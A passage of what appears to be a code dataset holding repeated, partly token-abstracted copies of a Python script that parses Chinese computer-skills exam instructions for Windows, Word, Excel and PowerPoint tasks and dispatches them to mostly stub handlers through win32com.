excel.judgeOperFromStr('3.给A2:F8单元格区域加所有框线。')\n excel.judgeOperFromStr('4.按“无人机社团人数”由高到低排序。')\n excel.judgeOperFromStr('5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。')\n ppt = PptOperation()\n ppt.judgeOperFromStr('1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。')\n ppt.judgeOperFromStr('2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。')\n ppt.judgeOperFromStr('3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。')\n ppt.judgeOperFromStr('4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。')\n ppt.judgeOperFromStr('5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。')\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n\n def judgeRename(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeProp(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\nif __name__ == '__main__':\n win = WinOperation()\n win.judgeOperFromStr('1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。')\n win.judgeOperFromStr('2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。')\n win.judgeOperFromStr('3、设置“螺旋藻.aaa”文件属性为“只读”。')\n win.judgeOperFromStr('4、在桌面上建立“绿色植物”的快捷方式。')\n word = WordOperation()\n word.judgeOperFromStr('1. 将标题“师恩难忘”设置为黑体,居中对齐。')\n word.judgeOperFromStr('2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。')\n word.judgeOperFromStr('3.将文中所有的“田老师”替换为“田先生”。')\n word.judgeOperFromStr('4. 设置页边距为上下各2.5厘米(应用于整篇文档)。')\n word.judgeOperFromStr('5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。')\n excel = ExcelOperation('c:/test.xls')\n excel.judgeOperFromStr('1.将A2所在行的行高设置为30(40像素)。')\n excel.judgeOperFromStr('2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。')\n excel.judgeOperFromStr('3.给A2:F8单元格区域加所有框线。')\n excel.judgeOperFromStr('4.按“无人机社团人数”由高到低排序。')\n excel.judgeOperFromStr('5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。')\n ppt = PptOperation()\n ppt.judgeOperFromStr('1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。')\n ppt.judgeOperFromStr('2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。')\n ppt.judgeOperFromStr('3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。')\n ppt.judgeOperFromStr('4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。')\n ppt.judgeOperFromStr('5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。')\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n\n def judgeRename(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeProp(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n\n def judgeRename(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 